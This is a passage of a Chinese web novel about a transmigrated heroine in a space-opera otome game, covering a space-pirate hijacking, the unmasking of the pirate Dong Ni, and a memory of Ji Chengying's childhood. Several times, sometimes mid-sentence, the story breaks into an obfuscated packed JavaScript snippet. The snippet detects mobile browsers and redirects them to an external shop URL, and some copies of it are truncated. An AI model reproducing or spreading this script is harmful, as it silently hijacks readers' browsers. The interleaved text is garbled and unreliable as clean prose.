“各位,请保持安静。我们只求财,不伤人命。只要你们配合,一切都会很快结束。” 夏林几乎是瞬间听出了这个人和方才全体广播的不是同一个人。但两者的共同之处就是都强调了一遍“不伤人”。 这就有些奇怪了。 在她的记忆里,比上不足比下有余的星盗虽然确实是以劫财为主,但每次星盗劫持事件发生,几乎是必有伤亡的。人家干的就是不要命的黑活,还能管这些肥羊的死活? 能够在捕获目标星舰后第一时间发言的显然也不会是无名小卒。此时在星盗头目的动作示意下,其他星盗喽啰已经拿出了口袋开始从左右两边向客舱内的乘客收集财物。 近期边境线的星舰航班频繁遭遇星盗的消息显然大家也都知道。乘客们虽然面带恐惧,但在武器的威慑下都还算配合地交出了随身携带的小包或是行李。 或许就是因为太过配合了,两边同时搜刮的速度比夏林想象中的快。才过去五六分钟,这个不算小的椭圆形客舱两边都走完了差不多三分之一。 夏林三人的位置恰好在客舱的中心部分,为了伪装身份他们也有带着装了零食的小包。只是星盗们暂时还没有到他们这边。 货舱那边的星盗人数和货物搬运进度是未知的。但如果要想要将这批星盗一网打尽,最好在这里拖延一点时间。 夏林抬眼看向另外两人,正打算简略告知他们她的打算,前方的位置突然起了喧闹。 一直在最前方镇场的星盗头目也发现了这边的异样,他快步赶来,低声问旁边一个拿着武器的星盗: “怎么回事?” 还不等那个星盗开口,那个闹出动静的中年男子直接扑到了星盗头目的面前,抱着人家人腿哀嚎道: “这位大哥,老大,说真的,我的钱和行李都可以给你们!但是我女儿刚才你们关门前出去上厕所了还没回来啊。她去了好久了,正常来说应该回来了啊。咱们不是说不伤人吗?钱给你们了,不是应该把我女儿送回来吗?” 旁边一个星盗过来把中年男子一脚踢开,不屑道: “老东西着什么急?我们说不伤人就不伤人。你女儿还能在宇宙里的星舰上丢了不成?估摸着便秘了吧?自己等会就回来了。” 被踹开的中年男人不住地摇头,又重新匍匐着爬过来不停地朝星盗头目的方向不停地磕头大拜: “行行好吧,求求你们行行好吧。我女儿只有八岁,你们现在把门关了,她进不来会跑去其他地方的。要是路上遇上了拿枪的大哥,她会害怕尖叫的,到时候万一……就算让这位哥押着我也行,求求你们让我出去找找她吧。” “行行好吧……” 中年男人跪在地上,伛偻着身子,额头与地面不停碰撞的声音沉闷而突兀,回荡在不知何时安静了许多的客舱内。 其他乘客们大多沉默着旁观着这一幕,更有不忍心者捂上了身旁孩子的眼睛。 地面上很快留下了血色的痕迹,但下一秒又被更鲜红的颜色所覆盖。 “行了,”先前开口后一直沉默不言的星盗头目终于再一次发话,“头撞破了反而你自己先出事。” 他抬手唤来了边上一个身形相对单薄些的星盗,冲着外面指了一下: “你,去厕所看看有没有孩子,有的话带过来。” 那个星盗点了点头,正要往外面走的时候却被一把抓住了脚。 回头一看,是那个中年男人。 他头上的伤口还在往外渗着血,望过来的眼里满是卑微的恳求,脸上的皱纹更深了,看起来极为可怜: “……求求你了,可以让我一起去吗?你们戴着面具拿着枪,我女儿会害怕的。” 那个身形娇小的星盗一时间没有做出反应,而是回头迟疑地望了一下星盗头目。 星盗头目没有动静。 边上的其他星盗立刻会意,刚要再次一脚踢开中年男人,客舱后方突然出现了两个声音: “我一起去吧。” “我去吧。” 几乎是同时从隐蔽处站起来开口的夏林和纪承英说完后互相看了一眼,怔了一下。 旁边反应快的星盗立即冲着墙壁开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17070137|194449||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了一枪,对站起来的两人大声恐吓道: “让你们随便起来说话了吗?蹲下!” “等等。”这时星盗头目突然开口制止。他伸出了一只宽大而又枯瘦的手,用指骨外突的食指朝后方两人的方向点了一下: “你,蹲下。” 青筋分明的食指缓缓平移了一小段距离: “你,一起去。” 前面指的是纪承英,后面指的是夏林。 站起来的二人在空中迅速交换了一个眼神。夏林对纪承英眼中暗含的警告意味视而不见,举起双手在星盗的枪口瞄准下缓缓朝着客舱前方走去。 想说些什么但又在周围星盗的监视下无法开口的纪承英在原地用力攥紧了拳头,直到边上的星盗又一次举枪示意才缓缓地蹲了下去。 不远处隐蔽处的司昊泽望着夏林的身影微微眯起了眼。 “……这位小姐,”走到前方的夏林在路过中年男人身旁时,听到对方低低地开口,“我女儿就拜托你了。” 夏林脚步一顿,刚想说些什么,旁边的星盗又叫: “停什么?继续走!” 夏林只得继续往前走。她在最前方被探测仪全身照了一遍确认没有武器之后,在星盗头目的示意下,跟着之前那个体型单薄的星盗出了客舱。 离开前,这个瘦小的星盗多次回头看向后面的星盗头目,似乎是想说些什么。 但一撞上旁边夏林探究的目光,又扭头回去,什么也没说地离开了。 星舰上的洗手间都配有单独的循环系统,因此位置也在稍远处的其他地方。夏林跟着那个星盗一路沉默地向前走,从体态到走路姿态一番观察下来,她十分确定这个星盗是一位女性。 但…… 夏林抬头瞄了一眼上方的监控摄像头,继续安静地往前走。 这一路过来似乎全在主驾驶舱的监控之下,没有什么适合动手的场所。 夏林边走边想。 果然只有到洗手间内才可以行动吗?但那个孩子要是真的还在里面,慌乱之下又有被作为人质的可能。 还是得见机行事。 不多时,两人到了洗手间前。星盗用武器示意夏林打开门走进去,两人进入后,星盗在后面关上了门。 就在星盗转身关上门的那一瞬间,夏林眼眸一冷,刚欲动手,从洗手间的内部传来了一些细微的动静。 夏林动作顿了一下,余光瞥见那个星盗也朝着动静传来的方向分神抬起了头,当即不再迟疑,又快又准地朝身后人的后颈劈去。 那个星盗几乎没怎么反应就倒了下来。 夏林先是捡起了掉在地上的能量枪别在腰间,然后弯腰把昏迷的星盗从门口拖到了洗手间最里侧。 做完这一切后,她蹲下身揭开了这个星盗的面具。 整个洗手间内静悄悄的,让夏林一瞬间觉得自己的心跳声仿佛大到震耳欲聋,以至于不远处那个细微的呼吸声此时也无关紧要了起来。 她认得面具下的这张脸。 虽然只见过一次,但是有在近距离看过。那天距离现在也不算太远。 这个人,为什么会在这里? 26. 纪承英7 是东霓。 那个在最开始夏林进入天宿军校班级里的时候,持刀想割断她的长发,之后被退学的女生。 夏林仔仔细细地看了好几遍这个被她揭下面具的星盗的脸,也没有其他伪装的痕迹。 可东霓之前是帝国天宿军校的学生。难道和白川一样,也是伪装身份进入天宿学院的星盗? 但她和白川不一样,已经是二年级生了。两年来帝国军校内那么多次测试与考试,不可能没有需要验证身份的时候,她都能不被发现? 是这个乙女游戏的情节需要还是真这么荒谬?亦或是…… 夏林在东霓身上一顿摸索。找到了她口袋中的一张卡片,以及脖子上挂着一个项链。 与其说是项链,不如说是军人脖子上常见的那个东西。 身份识别牌。 外形是一个圆角长方形的金属片,上面刻印了军人的名字,社会安全号码,血型,过敏原等重要个人信息。 卡片是不知道哪里的通行卡。但无论是通行卡还是身份识别牌,上面写着的名字都是“东霓”。 确实是与夏林有过一面之缘的那个女生。 到底是怎么回事? 夏林正在思索,身后从洗手间进人开始一直悄悄打开了一条缝观察的厕所隔间门被从内打开,一个身穿蓝色连衣裙的女孩从里面怯生生地走出来: “姐姐,你是把蒙面坏人打倒了吗?我可以出去找我爸爸了吗?” 夏林被声音吸引着回过了头,看见女孩刚想开口和她说些什么,忽然看见女孩的表情一秒转为了惊恐。 察觉不对的夏林已躲闪不及,右脸挨了重重的一拳,整个人被力道的惯性往后退倒,又撞到了后方的隔间,身体缓缓滑落。 头部的撞击和耳边女孩的尖叫让她眼前忽明忽暗,东霓从墙边站起身朝她走来的身姿仿佛叠着层层重影。 为什么……这么快就能醒来? 东霓一把抓住夏林的金色长发把人扯起来,端详片刻,终于开口说出了第一句话: “果然是你,夏林。” 她伸手从夏林腰间抽回了自己的能量枪,用枪口抵着夏林: “刚才你旁边的是学生会长纪承英吧?你们两个来这里干什么?说话!” 但被扯起的金发少女一直没什么反应,双目空洞无神地望向前方,失去了焦点。 刚才那一下不知道撞到了哪。 东霓皱了下眉,反手拖着夏林往洗手台那边走去,想泼冷水让她“清醒”一下。 就在东霓转身的一刹那,方才还失神中的金发少女蔚蓝色的眼眸瞬间转为清明。 她忽然抬手抓住了东霓的手,然后往反方向狠狠一掰。 立即传来了一声骨骼脱臼的声音。 东霓吃痛下意识松开了她的长发。夏林趁机往对方小腿一踢,在对方失去平衡倒下的同时躲开了对方朝她打来的能量枪。然后反方向整个人坐在了东霓的身上,擒住了对方的双手夺下枪踢到了远处,往后反剪。 一切都发生在五秒之内。 两个人在地上狼狈不堪地大喘着气,在短短时间内输赢变幻了两轮。 “现在,该你说了,”夏林用力地按着东霓的手,一边低声问道,“十天前还是天宿军校学生的你为什么会变成了星盗?” “哈,”东霓被人压制在地上,回头望过来的眼里满是讥讽,“你是记性不太好吗?我已经被天宿军校开除了,就在你入学的那一天!” “所以我问你为什么会变成星盗!”夏林冷下了脸,故意用力按了按对方脱臼的那一只手,成功听到了对方的痛哼声,才开口道:“你,本来就是星盗伪装了身份进来的?” “哈?你在说……”东霓说到一半表情一愣,然后忽然恍然大悟,“啊我知道了,你说的是白川吧?” “他出事之后我才知道的。那可真是个宇宙最大的傻子。明明听说在七八岁的时候就进了星盗团,什么苦都吃过了才熬到当上‘贪狼’星盗团最年轻的团长。眼看着要前途无量了,却不知道脑子哪里坏了,执意要亲自去执行什么卧底潜入的秘密任务。他也不想想,就算给的赏金再高,那可是帝国直属军校,背后有多少大人物,是星盗那种低贱东西能碰的吗?” 夏林张了张口,一句句反驳的话语在望见东霓那个嘲笑的表情时瞬间没了声。 浑身的血液忽然冷了下来。 从全然不知情的第三者眼里,白川他就是这样的一个形象吧。 愚蠢。 虽然白川并没有说过自己为什么会冒这么大风险潜入天宿军校,但夏林可以肯定,那绝不是为了钱。 比如只是想来看看快十年未见的某个人。 可即使她在这里吵赢了东霓,外面也还有千千万万个东霓。 而白川本人,想来也从不会在意那些陌生人是如何评价他的。 那个拥有栗色卷发的少年在脑海里一晃而过。 夏林闭了闭眼,把内心的酸涩努力往下压。定神后,她低声开口: “所以,你十天前还不是星盗啊。” “能考入你方才所说的‘帝国直属’天宿军校的学生,即使被退学,也不至于无学可上要沦落到当星盗的吧?” 夏林感觉到下方的东霓身体忽然一僵,然后朝她看过来的眼神里终于浮现了一丝慌张。 这些下意识的真实反应像是验证了夏林心中那个最坏的猜测。 她抿了下唇,有些艰难地开口:“你们根本不是星盗,帝国军部……” “夏林!” 随着纪承英声音的传来,洗手间的大门被人从外面猛地踹开。 夏林口中未完的话语也戛然而止。 金发碧眼的学生会长大步流星地走入,直直地走向角落里僵持着的二人。 “你受伤了?”纪承英看着夏林右脸上方才被打出的斑斑血迹与青紫伤痕,那双祖母绿眼眸中的担忧之色掩盖不住,“这里交给我,快回去治疗一下吧。” 说着就朝东霓的方向伸出了手。 夏林手臂往外侧了一下格开了纪承英的手。她避开了纪承英的双眼,在自己站起身的同时也把东霓拽了起来,反问道: “是达克里亚星的驻军来了吗?” 纪承英被挡了一下也没察觉出什么,只以为这是夏林起身的动作不小心碰到了,嘴上回道:“嗯。这些星盗已经全部被俘获了,马上就会送回军部问审。” 夏林冲着边上喊了一声:“小妹妹,已经没事了,坏人都被抓起来了。可以出来去找你爸爸了。” 不远处的一间厕所隔间门被打开,躲在里面的女孩从里面走了出来。她小心地瞄了一眼高大的纪承英,又飞快的跑到了夏林那一侧。 纪承英有些尴尬地摸了下下巴,转而抓住了东霓另一边的胳膊,重复了一遍之前的话:“我来带她回去吧,你带着孩子回去好好治伤。” “不行。”夏林想也没想就回绝了。在感受到身旁人投来疑惑的目光后,她抿了下唇,僵硬地给出了一个勉强的解释: “费了这么大的工夫才抓到的,得让我回去‘成果展示’一下,好让驻军的长官在我的学院评价册上记一笔。” “行,”纪承英表示理解,“一回去就给你提交申请,少不了你的。” 夏林瞥了一眼身旁表情无异样的学生会长,蔚蓝的眼眸中波涛暗涌。 方才在纪承英进门的瞬间,她眼疾手快地从地上重新捡回了方霓的星盗面具,迅速给她戴上了。 眼下他应该是没有察觉。而方霓显然也没有和纪承英“相认”的想法,从人进门之后就异常的安静,不发一言。 夏林抿了下唇,推了一下方霓示意她前进:“走。” 一行人不多时重新返回了客舱。 “回来了?这里!” 夏林一行人刚走进门,在门旁正与一位军官聊天的司昊泽就眼尖地看到了他们,伸出手臂冲他们大幅度地摇了摇。 此时身后客舱的门又开了。头上包裹着纱布明显是治疗结束刚回来的中年男人门一开就看到了自己心心念念的女儿,立即蹲下身张开双臂将跑过来的孩子抱了个满怀,老泪纵横: “哎哟,我的心肝宝贝哦。” 这时有一名身穿帝国军服的军人来到了夏林身旁,示意把方霓交给他。 夏林收回视线,环顾了客舱一周,方才人数不算少的星盗已经全不见了,显然已经被重新掌握主权的帝国驻军押送到了某个地方。 但…… 她沉默了一下,还是把方霓移交给了那名帝国军人。 两人很快朝着另一个方向走了。 夏林目送着那两人离开,忽然感觉自己的右脸颊有一阵冰凉的感觉。 她被冰得下意识地闭了下眼,回过头才发现纪承英不知何时已经拿来了治疗仪。 “谢谢,我自己来吧。”夏林伸手打算从纪承英那边接过治疗仪。其实她之前就判断出了自己没骨折没脱臼,脸上就是看上去青青紫紫触目惊心,但只是一些淤伤。 没想到对方却没放手。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17076681|194449||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >纪承英抿了下唇:“你好像对自己不太在意。” 夏林迟疑地收回了手,任由对方继续给自己治疗。消毒又促进创口附近细胞生长的光束照在脸上多少还是有些刺痛。她不禁咬着牙扯了下脸上的肌肉,表情扭曲了一下。 “痛?”那只拿着治疗仪小幅度移动的手一顿,又继续了之前的动作,“刚才你不该出头的,我去就可以了,对方有可能是联盟的正规军的。” 夏林观察到纪承英虽然是面无表情地说出了这句话,但那只握着治疗仪的手愈发收紧了一些,手指因用力而有些发白。 “那名星盗明显是一位女性。星盗头目不会让你这个男性和她单独出去找一个孩子的。”夏林合情合理地陈述了方才行动的缘由。 “……” 纪承英沉默着没说话,只是那双祖母绿的眼眸愈发深沉了一些。 几分钟后,夏林脸上的伤口已经初步处理得七七八八,比之前看上去好了很多。 纪承英关闭了治疗仪,收起来开口道:“这次多亏了你一直没回来,我们在这里也借此找了一些理由拖延时间直到驻军赶到,这次抓到了不少人,应该多少会得到一些有用的情报。” 夏林怔了一下,看向纪承英。 金发碧眼的青年正转头望向客舱的玻璃窗外。他们这艘遭遇星盗的星舰正在返航的途中,此时恰好能看到他们的出发地,达克里亚星。 这颗陆地面积占70%的星球在漆黑的宇宙中宛如一颗光滑的鹅卵石。 纪承英忽道: “达克里亚其实是‘眼泪’的意思,特产是一种蔚蓝色的宝石。虽然它不含什么能量,但大多用于装饰之上。我年幼时来这里的时候也买过一个小饰品,蓝色的晶体非常剔透漂亮,只是现在已经不知道在哪里了。” 他顿了一下:“这次来的时候我也有留意寻找过,似乎也没有看到卖那种宝石制品的小贩了。或许是因为战时,没有人愿意投入更高的成本去开采这些只有好看的石头了。即使它是这个星球的特产与象征。” 夏林沉默不语。 纪承英长长地叹了一口气:“边境的交战导致治安混乱,星盗横行。可方才这里的那些星盗我观察过了,虽然言行有时候很浮夸,但始终不像星盗,反而一举一动某些时候像是训练有素的军人。” 夏林心里一沉,抬头看他。 纪承英继续说:“如果这些星盗真的是联盟军伪装了来试探帝国态度的,扩大战线这一决策或许也是势在必行的了,也不能这样一直让他们无底线地试探下去。边境星的民众也是帝国应该保护的合法子民。” 他回头看向夏林:“你之前在信上写的方案真的很好。以几个交叉了支援范围的前线交战点来确保我方战线稳定,能够对边境星球影响的最小化。这样即使扩大了战线,也只增加了仅仅一个星球作为交火点的牺牲品。谢谢你,夏林。” 纪承英望向她的目光带着与之前截然不同的温度。 夏林下意识地打开了系统的好感度页面。 纪承英:【70/100】 一直不动的好感度终于有了突飞猛进的增长。夏林却感觉这一刻自己的心彻底沉到了谷底。 她张了张口,终究是什么也没说。 或许,她的选择在她给东霓戴上面具的那一刻就已经决定了。 · “好难过啊。明明我第一时间跟他们打了招呼,怎么没一个人过来找我。” 终于结束了自己任务汇报工作的司昊泽端正地目送军部长官离开,在人离开的那一刹那整个人立刻就松了劲儿,毫无形象地伸了个懒腰。 他一偏头看到了站在玻璃窗附近正在说话的夏林和纪承英两人,一挑眉,正要抬步过去,忽然听见旁边的对话传来: “爸爸,今天这些坏人不是星盗吗?”女孩问。 中年男人摸了摸女孩的头:“瞎说什么呢宝贝,他们就是宇宙中的大坏蛋星盗。” 女孩撅起嘴:“可是……我明明在厕所听到那个救了我的大姐姐说不是星盗诶。” “肯定是你听错了,宝贝。” 司昊泽脚步一顿,认出这个中年男人正是之前苦苦哀求星盗找女儿的那个人。 那这个女孩就是他失而复得的女儿了。 所以她口中的大姐姐……指的是去救人的夏林。 司昊泽在脑子里略一思索,忽然想到了什么。 “你……终于知道了啊。” 他望着站在玻璃窗旁的金发少女,露出了一个玩味的笑容。 27. 纪承英8 星舰返回达克里亚星之后,已经是深夜。 夏林三人决定在达克里亚星休息一晚,明日再回天宿军校。 选择了“入睡”后,不是直接到下一天而是周围逐渐暗下来的感觉让夏林很快意识到自己这是又要看系统播放的全息影像了。 但这次只是变换了一个场景,时间似乎依然是在夜里。 夏林瞥了一眼窗外皎洁的明月,借着照进来月光环顾了自己所在的这个空间。 这个房间极为宽敞,地上铺着柔软舒适的厚地毯。靠近窗户的左侧是一个阅读角,配有皮革的沙发和造型古典的落地灯。后面是一个装满纸质书籍和电子卡带各半的柜子;右侧似乎是玩具区,后方的架子摆满了各式机甲模型和奇形怪状不知道做什么用的东西。 其中的一个机甲模型上挂着一条状如眼泪的蔚蓝色宝石坠子。即使在微弱的月光下,也泛着莹莹的蓝光。 夏林的视线在这条水滴状的坠子上多停留了一会,最后投向了房间中央被子稍微隆起的大床。 她现在的位置差不多是在窗户附近,和床还有一定的距离,看不清床上躺着的究竟是谁。 不过看到那个蔚蓝色宝石坠子夏林已经猜了出来,这里多半是纪承英的房间。 就像是为了验证夏林脑内的猜测,很快那张大床上有了动静。 被子被掀开了一角。 一个穿着小黄鸭睡衣的黄脑袋从里面钻了出来,坐在床上揉了揉眼睛,似乎有点搞不清楚自己为什么会醒来。 但是他并没有坐着迷茫太久,而是晃着两条小短腿下了床,穿着拖鞋朝着门口跑去。 ……是少年版纪承英。 视角是跟随内容的主角移动的。夏林在后面盯着少年纪承英的小黄鸭睡衣看了好一会。 很难和现在那个温文尔雅又一丝不苟的学生会长联系起来。 在楼梯下了一半就听到了隐约的人声。少年纪承英似乎也没想到会遇到人,自信下楼的小脚步一僵,立马做出了判断又轻手轻脚地返回了楼上,扒着墙躲在边上探出头往下“暗中观察”。 夏林在后面看得有些好笑。 方才听到的人声由远及近。 “……有什么事必须要现在召你进宫面谈?不能用光脑?”这个成熟的女声听起来充满了担忧。 “可能是一些机密事项吧。你知道的,白天的御前会议为了钱的事情大伙吵得不可开交。有人还说现在不是战时,必须要削减军部的费用。”回答的男声低沉而浑厚,每个字都清晰有力,听起来极有威严。 “这句话我真是听一次冒一次火。削减军费?现在每年的军费还不够少吗?全帝国只剩下几所军校了他们知道吗?老狐狸自己的研究院倒是好意思每年都要求涨经费,一年到头明明什么东西都拿不出来。就算后面有成果了,到时候研究出来的新技术机甲给谁去操作?就算光脑那时候有自动作战能力了。机器始终是为人服务的,最低也要有指挥官吧?现在这情况,下一代能有几个能用的指挥官?”女声带着明显的怒意。 “亲爱的,消消火,别生气。”这一次响起的男声明显比之前柔和了许多,他过了一会才道,“白天那个御前会议光顾着吵架了。说不定现在陛下有了什么新的想法,又不方便和所有人说,所以现在私下里传唤我。” “……那你早去早回。”女声听起来似乎还有些怄火。 “有亲爱的在家里等我,我当然是归心似箭啊。” 接下去的一阵两人亲热的声音。 这画面对小孩子来说似乎太刺激了。少年纪承英这一下子墙壁没扒住,滑了一下发出了一些声响。 在寂静的夜里尤为明显。 “谁在哪儿!” “谁在哪儿?”楼下的男女异口同声地沉声喝道。 偷听被发现的小黄鸭少年在墙后完全僵住了。一秒后,他焉哒哒地挪动步子走了出来,朝着楼下二人走去。 视角变换。夏林这才看到了楼梯下男女的模样。 “承英,怎么这么晚了还没睡?你明天早上还要去上课呢。”说话的女人有着一头浓密而又热烈的红色长发,发尾微微卷曲,自然地垂落在肩头。五官精致而锐利,一双碧绿的眼眸与纪承英如出一辙,此时这双眼睛正在瞪着上方的少年。 “对不起妈妈。我本来想下来喝点水,刚好你们路过,就……”少年纪承英似乎有些怵这个有些强势的母亲,但嘴里依然是实话实说。 “是被妈妈的语气吓到了吧?没事,来吧,去喝水。”另一边脸庞棱角分明,下颚线条硬朗的金发男人反而语气温柔地冲纪承英招了招手。 虽然他第一句话一出口就挨了身旁的爱人一脚。 “爸爸你要出去吗?”站到父亲身边的纪承英仿佛多了点底气,方才还有些抖的声线也正常了。 “嗯,爸爸有事出门。不过马上就回来了,到时候我可要来检查你到底睡了没。要是没睡的话……”金发男人说到一半蹲下了身,带着笑意到少年纪承英的耳边低声道: “我就把你晚上起来其实是偷吃曲奇饼干的事情告诉你妈妈。” 小纪承英立即退后了两步,清澈的绿眼睛里满是对“战友”无情背叛的不可置信。 “你们父子俩嘀咕什么呢?喂,你还去不去了?”红发女人在旁边斜着眼叉腰看这一大一小。 只是唇边的上扬弧度暴露了她此时的心情。显然是什么都听到了。 原以为自己瞒天过海的小纪承英这下水也不喝了,兀自上楼梯一溜烟地跑了。 “我不想喝水了!我先去睡了!” 等到楼上的关门声响起。红发女人无奈地看向身旁的丈夫: “你下次得和他说说,晚上饼干吃多了直接睡觉对牙齿不好,至少吃完要去刷个牙。” 金发男人笑了一下:“好,明天就和他说。那我走了。” “嗯。” 明显是纪承英父亲的男人转身离开了家。 夏林看着两人的背影若有所思。 这位金发男人显然就是后面在“236幽灵事件”里牺牲了的纪淮宇将军。 就在夏林思考系统给她看这一段幸福美满家庭究竟是个什么意思的时候,场景再次发生了变化。 更准确地说是这里的时间快进到了第二天早上。 换上一身学院制服下楼的小纪承英显得五官愈发秀气,配上稍长的金发简直雌雄莫辩。 只见这个漂亮的金发孩子下楼后很快察觉到了异样安静的屋内环境,朝着左右两边各大声喊了一声: “爸爸?妈妈?” 静悄悄的屋内回荡着略带稚气的少年音,无人回应。 小纪承英抿了下唇,并没有因为找不到大人而哭闹,而是懂事地跑到了餐桌前爬上了椅子,开始自己吃早餐。 吃完早餐后,他拿上了自己的背包出了门。 门口早已经有一架飞行器在等着。驾驶座上是一个身穿帝国军服的陌生男人。 陌生是对夏林而言的,小纪承英似乎是认得这个男人的。他上去之后就和男人乖巧地道了一句“叔叔早上好”,对方也回了一句“早上好”。 只是夏林留意到这个军人握着操纵杆的手一直青筋突起,整个人紧绷着,眼睛时不时地看向光脑的位置。 他似乎极为不安,又在等着什么消息。 孩子对周围人的情绪总有一种异常的敏感。小纪承英忽然开口问道:“叔叔,我爸爸妈妈今天很早就去上班了吗?” 那个军人表情肉眼可见地慌了一下。他咽了一下口水,对着副驾驶上的纪承英僵硬地挤出了一个笑脸:“是,是啊。你好好去上学。” 纪承英瞅了一眼,低下头默不作声。 飞行器在一所小学外停了下来。小纪承英和那位军人道了一句“再见”就下了飞行器,走进了校园内。 他还没走几步,就听见旁边有个圆头圆脑的男孩大声道: “我说的都是真的!昨晚上我们帝国差点都要没了!你还睡得跟猪一样什么都不知道呢!” 小纪承英往那边瞥了一眼,没有理会,继续往里走。 旁边的对话似乎还在继续,但就那个孩子嗓门特别大: “你去光脑上一查就知道了,有好多影像呢!联盟那么那么大的战舰都开到我们首都上空了!要是往下丢几个导弹,你们都见不到今天的太阳!” “我哪知道联盟为什么开了战舰过来又啥也没干……哦对了,听说昨晚我们皇帝陛下的宫殿遭袭了!联盟不是啥也没干。” “皇帝陛下应该没事吧。因为有小道消息说,昨晚上纪将军在宫里,好像是纪将军出事了。” 小纪承英脚步一顿,方向一转,从背后靠近了那个大声说话的男孩。 “你说昨晚上谁出事了?” “纪淮宇将军啊,就那个有名的‘帝国之盾’。我说你们别不信,这都是我早上偷偷从我妈的光脑上看到的。你们回去一看就知……”圆头圆脑的男生不假思索地答,直到说到后面才忽然觉得不对,扭头一看来人,顿时没了声。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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众所周知,纪淮宇将军是死于潜伏于首都的联邦卧底。所以理所应当地,会以为红发女人这句话是在让纪承英以后要小心那些长期潜伏伪装的卧底。 可就在今天,夏林遇见了扮作星盗却拥有帝国军人标识的东霓。 这个游戏从不会无缘无故进入角色回忆。更像是玩家对角色剧情探索度达到多少之后,才会对玩家开启。 夏林想到了之前进入白川回忆时,就是刚好在遇见唐瑶之后。 她心底浮现了一个可怕的猜测。 就在夏林觉得这个回忆影像的长度已经差不多要结束了的时候,场景又变了。 应该是又过了好些年,再次出现在夏林眼前的那个挺拔的金发青年已经非常接近于她现在认识的纪承英的样子。 从周围贴着的标识来看,这里是天宿军校入学考试近身搏击项目的现场。 半束着金色长发的纪承英在男子组清一色的短发里尤为醒目。 他的对手居然是个老熟人。 或许是因为才见过不久,夏林认出了对面那个高大壮硕男人的眉眼轮廓与之前和小纪承英打架的那个圆头圆脑男孩几乎是一模一样。 两人的梁子在年幼时就结下了,此时相见自然也不怎么友好。 “因为你们家现在是女人当家,所以你也娘里娘气的吗?男人还要扎个辫子?”壮硕男子一入场就在对面嘲讽道。 纪承英对这个低级挑衅没有丝毫动容。他神色平静,只等教官发出“开始”的指令后,便眼眸一眯,迅速向对方靠近。 从周围人的角度来看,两人只是在场上一个朴实无华的身形交错,那壮硕男子就倒了下来。 对方似乎也有些不可置信。但他在地上难堪地挣扎了许久,依然无法起身。 读秒后,胜负已分。 得到教官的“结束”指示后,纪承英重新走到壮硕男子的身边,弯腰冲他伸出了手: “如果你判断一个人的标准仅仅是看外表,我想帝国军队并不需要你这样的人。” “希望今天是我们最后一次见面。你理解这个意思吗?” 姿态体面又优雅。 高大的金发青年说着刺耳的话,脸上的表情却温柔和煦。 让唯二的听者不寒而栗。 夏林觉得那个壮硕男子和自己此时的想法应该是一样的。 梦境结束了。 28. 纪承英9 从梦境中醒来的夏林在床上静坐了许久。 或许是因为这一次对纪承英这个角色十分上心,系统给她看的那个梦境与她预想的内容差别不大。 也正因如此,她才对她心底浮现的那个可怕猜测尤为不安。 结合目前已知的情报,帝国为了发战争财不惜让自己的军人去伪装成星盗,一边抢商人的货物,一边又栽桩嫁祸给联盟,然后以此为理由洗脑无知的将士继续扩大边境战线。 而之前的夏林在不知情的情况下,只看出了纪承英似乎不愿意产生更多如达克里亚星一样的边境战时受害星球。所以她结合当时的战时兵力分布情报,计算后划出了一条影响最小的边境布阵线。 某种意义上也算是为“扩大边境战线”这一阴谋推波助澜了一下。 这样想来,纪承英这一方势力对帝国高层的阴谋是不知情的。 ……有可能吗? 夏林皱了下眉,打开光脑输入信息开始检索。 她很快获得了答案。 从星历935年,也就是“236幽灵事件”发生的当年为起点,“帝国之盾”相关内容在新闻媒体中被提及的次数几乎是呈直线下落,以至于到了今年星历946年甚至可以说得上是销声匿迹。 拥有“帝国之盾”这般响亮名号的将军世家在帝国的战时状态居然能全然隐形。若不是势力衰微到了极点,就是对什么庞然大物有所忌惮,选择避其锋芒韬光养晦。 夏林想起了回忆里那位红发女士晦暗不明的眸光,觉得后者的可能性比较大。 系统发来了上学提示。金发少女沉默地下了床,如设定好的程序一般洗漱、进食,然后换上天宿军校的蓝白制服出门去教学楼上课。 她现在已经对即将可能要面对的剧情发展有了一些心理准备,只是心情却愈发沉重。 夏林其实没有想明白自己当时在那座星舰上为什么会下意识地在纪承英进门之前就把面具给东霓重新戴上了。 仿佛她从没有考虑过“将真相告知纪承英”这一选择。 为什么呢?因为自己之前已经走错了一步帮幕后黑手推波助澜?担心纪承英责怪自己掉好感度? 夏林在教学楼前脚步一顿,随即又迈开脚步,继续往前。 ……并不是这样肤浅的理由。 就算是已经看完角色回忆,对实际情况已经有了一定掌握的现在,夏林依然没有想过要去找纪承英告诉他真相。 为什么? 每次在内心对自己发问,得到的都是一片空白的茫然。 她明明不是毫无理由只凭“感觉”这样虚无缥缈的东西就做决定的人。 ……亦或许是什么本该在那里的东西,她却想不起来? 可至今为止自己有记忆模糊的部分都是现实世界相关,纪承英相关的都是游戏内容。 ……自己进游戏到现在的记忆非常完整。 夏林不由得想起了某个已经许久未出现的人。 会是秦封又在暗地里做了什么手脚吗? 心底刚浮现出这个猜测,又瞬间被自己否决。 速度之快让夏林自己都愣了一下。然后又像是为自己这个想法找到了合适的理由—— 